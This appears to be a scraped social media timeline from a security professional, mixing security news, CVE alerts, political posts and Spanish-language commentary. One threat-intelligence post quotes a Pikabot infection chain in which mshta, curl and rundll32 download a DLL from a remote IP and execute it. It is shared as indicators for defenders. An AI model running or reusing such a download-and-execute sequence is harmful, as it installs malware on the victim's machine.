Dhave@Security:~#

💻 Cybersecurity & Government Intelligence Professional👾
👻 Hacker & Speaker 🎤

[Brian in Pittsburgh @arekfurt]

Interesting:
As many know, Palo-Alto OS is U.S. gov. approved for use in some classified networks. As such, U.S. gov contracted labs periodically evaluate PAN-OS for the presence of easy to exploit vulnerabilities.

So how did that process miss a bug like 2024-3400?

Well...

[Viral Metro @viral_metro]

#ULTIMAHORA

En el @MetroCDMX puedes Drogarte, Tener Sexo en los Vagones, Realizar Actos de Vendimia Ilegal, Robar y Detonar Armas de Fuego… sin qué haya Alguna Consecuencia…

Pero No se te vaya Ocurrir, Llevar a tu Perrito Enfermo al Veterinario, en el #MetroCDMX por qué los Policías de la @SSC_CDMX usarán Fuerza bruta contra ti… 🚨

Los Policías de la @SSC_CDMX están para Cuidar a la Ciudadanía, no para Amedrentarnos! ⚠️

@GobCDMX
@GobiernoMX

#CDMX #Mexico #Metro

[Dhave@Security:~# @DhaveSecurity]

So, @elonmusk is the TRUTH dealer ?

[Elon Musk @elonmusk]

Community Notes corrects all accounts: Presidents of countries, media, government agencies, advertisers.

No exceptions.

Nothing is perfect, but Notes is the best source of truth on the Internet by far.

[R3D @R3Dmx]

¡No debería ser ilegal! Por eso es importante decir #NiCensuraNiCandados 🔒

Infórmate más de este proyecto en https://t.co/fHDBHyQSoy

[x0rz @x0rz]

Unpopular opinion: we need to stop the cartoon illustrations depicting threat actors as pandas, cute robots or bears in CTI reporting. These are f*cking intelligence agencies or military units we're talking about. Let's get serious about this stuff, because it matters. We shouldn't desensitize all of this.

[Dhave@Security:~# @DhaveSecurity]

@APhilosophae @threadreaderapp unroll

[Elon Musk @elonmusk]

Why no advertiser boycott, Bob Eiger? You are endorsing this material!

[CNBC @CNBC]

Facebook and Instagram content enabled child sexual abuse, trafficking: New Mexico lawsuit https://t.co/DNI7WgDYn5

[WikiLeaks @wikileaks]

Julian Assange faces a 175 year sentence if extradited to the US for his publishing

WikiLeaks infamous Collateral Murder release shows the killing over a dozen people in Iraq by US forces, including two Reuters journalists; seriously wounding two children - which only came to light due to Assange's reporting #FreeAssange
https://t.co/limR2hbygo

[Costin Raiu @craiu]

Sellafield nuclear site in the UK hacked by multiple APT actors: https://t.co/jBtQ3BTGDP

[Pedro Huichalaf Roa 📱+ 🖥️+🌐 @huichalaf]

Reporte de @T13 sobre el caso de una mujer que fue víctima de extorsión tras descargar aplicación y solicitar préstamo de dinero a prestamistas informales, y por esta presión decidió lamentablemente acabar con su vida.

Incorpora mi opinión de cómo estos delincuentes obtenían información personal de sus víctimas.

Es importante tener una cultura de ciberseguridad, nunca descargar este tipo de aplicaciones y tener cuidado en los permisos que autorizan al instalar apps porque de esa forma se obtiene información personal, como contactos, acceso a archivos, fotos y videos y hasta posicionamiento GPS y registros de llamadas telefónicas.

[Microsoft Threat Intelligence @MsftSecIntel]

Microsoft has identified a Russian-based nation-state threat actor tracked as Forest Blizzard (STRONTIUM, APT28, FANCYBEAR) actively exploiting CVE-2023-23397 to provide secret, unauthorized access to email accounts within Exchange servers: https://t.co/BzbQpELgWQ

[Crazy Clips @crazyclipsonly]

Rolls Royce stolen using an antenna to pick up the owner's key signal

[Dhave@Security:~# @DhaveSecurity]

@Gh0sthLecter 👀👀👀

Tacos de verdad o ahora asi le dicen a los levantones hahaha? (broma), tuve que salir rapidamente a otra mision pero se agradece la invitación.

[Dhave@Security:~# @DhaveSecurity]

Rumbo a @BugCON 😎

Security or Espionage Loading...

[Ivan Katchanovski @I_Katchanovski]

Wow! Maidan massacre trial verdict confirms that Hotel Ukraina rooms of German ARD TV journalists were shot from "territory controlled by "Maidan,"" specifically, Main Post Office (far-right Right Sector headquarters) & Conservatory, occupied by far-right-linked Maidan company. There are no investigation & no media reports even though bullet from Right Sector HQ narrowly missed female ARD producer in her room 925. ARD Moscow correspondents claimed that Maidan snipers is "conspiracy theory" even though now Maidan massacre trial verdict confirms that Maidan snipers massacred many Maidan protesters and police and shot at ARD and BBC TV journalists. https://t.co/DhKjshUyFt

Verdict: "In addition, the specified data proved with all propriety that the premises of the "Ukraine" hotel were the object of massive shelling with firearms of various calibers, in particular,... from the side of the Conservatory - according to the examined photo and video materials, the territory controlled by "Maidan" (room No. 825); from the side of the Central Post Office - according to the examined photo and video materials, the territory controlled by "Maidan" (room No. 925)."

[Daniel Monastersky @identidadrobada]

Por ahora, la única norma que obliga a comunicar incidentes en Argentina: Comunicación BCRA 11847 del 2019:

NOTIFICAR LOS INCIDENTES que pudieran afectar los servicios a los clientes de las entidades financieras

https://t.co/xL75n7OTDq

[Dhave@Security:~# @DhaveSecurity]

@BugCON Hola 👋

Les envié correo a la dirección de CFP :)

[Cryptolaemus @Cryptolaemus1]

#Pikabot - #TA577 - .rev > .cmd > curl > dll

CVE-2023-38831 - Thanks @k3dg3 & @ffforward 🔥

mshta 12.pdf.cmd

cmd /c mkdir C:\Poliset\Nolser

curl http://45.32.206.]198/Ha5tL/6.dat -o C:\Poliset\Nolser\D.OCX

rundll32 C:\Poliset\Nolser\D.OCX,Excpt

IOC's
https://t.co/jvrr8lQFAA

[Bipin Jitiya @win3zz]

CVE-2023-45852: Vitogate 300 Authentication Bypass and RCE

Ref: https://t.co/BjHch3gPyt